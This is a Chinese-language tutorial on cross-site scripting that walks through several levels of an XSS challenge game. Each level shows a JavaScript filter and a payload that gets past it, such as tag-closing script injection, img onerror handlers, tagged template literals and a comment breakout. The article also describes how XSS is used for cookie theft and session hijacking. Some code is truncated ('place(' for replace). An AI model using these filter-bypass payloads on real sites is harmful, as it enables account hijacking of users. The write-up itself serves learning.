跨站脚本攻击XSS(CrossSiteScript)的原理与常见场景
分析
前⾔
前段时间在⽹上看到⼀个,好奇之下进去看了看。胜利的条件是你录⼊⼀个串,让其调⽤prompt(1) 。发现⾥⾯有好多想不到的东西,今天终于悠闲了来这⾥说说XSS。
XSS 原理
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页⾯⾥插⼊恶意Script代码,当⽤户浏览该页之时,嵌⼊其中Web⾥⾯的Script代码会被执⾏,从⽽达到恶意攻击⽤户的⽬的。
XSS 常见场景
⼀些私⼈的博客,攻击者恶意评论,弹出alert,这种充其量也就是⼀个玩笑。但是如果是盗窃cookie,异常提交请求,这些就⽐较难受了。
prompt(1)
chrome 版本 62.0.3202.75(正式版本)(64 位)
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
第⼀个
这是⼀个开胃菜,没有做任何校验,这种不设防的在现在已经很少了。他把值直接拼⼊字符串,组成⼀个DOM input标签,那我们只要正确的把标签闭合掉就可以调⽤了。
"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ,这样就等于插⼊了我们的代码。
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = place(stripTagsRE, '');
return '<article>' + input + '</article>';
}
第⼆个
这个已经提升难度了,/<\/?[^>]+>/gi匹配<>标签内的所有东西,如输⼊<script>prompt(1)</script>转换过后会出现prompt(1),内容⾥⾯的标签被替换掉了。所以这个我们去尝试不闭合标签,让浏览器⾃⼰去容错。
<img src onerror="prompt(1);" 该⽅法通过img加载src失败会调⽤onerror的想法。
function escape(input) {
// v-- frowny face
input = place(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
第三个
这个就有点略坑了/[=(]/g把所以的=号和(号都替换掉了,这样我们尝试调⽤的时候就不能使⽤这些东西了。使⽤的⽅法是通过模板字符串的标签模板,这个ES6的特性。<script>prompt`1`</script>看样⼦我们这样写就可以了,但是为什么没有⽣效呢?下⾯的图可以看出来,这样的话传⼊的是字符串,判断是不通过的,所以我们要修改⼀下<script>prompt.call${1}</script> ,这样就可以跑过验证了。(话说markdown如何在``⾥⾯写``)
function escape(input) {
// filter potential comment end delimiters
input = place(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
第四个
这个看上去是把你写的内容都放在了html的注释语句⾥⾯,并且⽤/->/g替换了⼀把。我想到的⽅案有条件注释,但是条件注释这是IE的东西,我们就先不测试了。
--!><img src onerror="prompt(1);" 使⽤这个可以关闭
function escape(input) {
// make sure the script belongs to own site
// sample script: prompt.ml/js/test.jsjs脚本开发
if (/^(?:https?:)?\/\/prompt\.ml\//i
.test(decodeURIComponent(input))) {
var script = ateElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
第五个
这个是通过伪造url,我们使⽤的是访问带有⽤户名、密码保护的 URL来伪造。
function escape(input) {
/
/ apply strict filter rules of level 0
// filter ">" and event handlers
input = place(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
第六个
/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input特殊的type类型。
`"type=image src onerror
="prompt(1)`
通过xss能做的事情
有很多,绝⼤多数的⽹络攻击⾏为都是把xss作为漏洞链中的第⼀环。通过xss,⿊客可以得到的最直
接的利益就是拿到⽤户浏览器(或者⼀些类浏览器app)的cookie。由于⽬前web系统中实现session的办法主要是cookie,所以⼀旦⿊客拿到了⽤户的cookie,就可以劫持⽤户的session,从⽽变相达到盗取⽤户账号的⽬的。
xss也使⿊客可以以受害⽤户的ip地址向其他站点发起web攻击,因为⼀切的攻击脚本都可以借受害⽤户的浏览器执⾏。
以这样的⽅式,将xss配合起csrf、sql注⼊等漏洞可以在短时间内对⼀个服务器发起⼤量攻击,并且服务端⽆法将攻击ip封死,因为ip是成百上千的xss受害者的ip。
2015年github遭遇的⼤规模DDOS,实际上就是⿊客以某种⽅式把⽽已脚本植⼊到“熊场”的⼴告联盟iframe中,从⽽对github 的某些接⼝实施攻击,最终达到DDOS的效果。
另外,持久性xss的传播性极强,由于web的特点是轻量级、灵活性⾼,每个⽤户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。所以将xss攻击配合起⼀些系统内核级的漏洞,完全可能在⼏个⼩时之内击垮⼏百万台智能设备。
如今的xss
相⽐⽹上很多资料中,在技术上已经发⽣了很⼤变化。由于各⼤⽹站加强了对于js脚本、html标签等关
键信息的过滤,单纯依靠植⼊javascript代码很难实施攻击。
PC端页⾯,⼀些视频类、页游⽹站存在⼤量的flash内嵌在页⾯中,可以尝试将flash代码植⼊,往往可以规避⽹站安全过滤。移动端页⾯,可以植⼊native代码(android系统植⼊java,ios系统植⼊oc)。
总结
以上就是这篇⽂章的全部内容了,希望本⽂的内容对⼤家的学习或者⼯作具有⼀定的参考学习价值,如果有疑问⼤家可以留⾔交流,谢谢⼤家对的⽀持。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论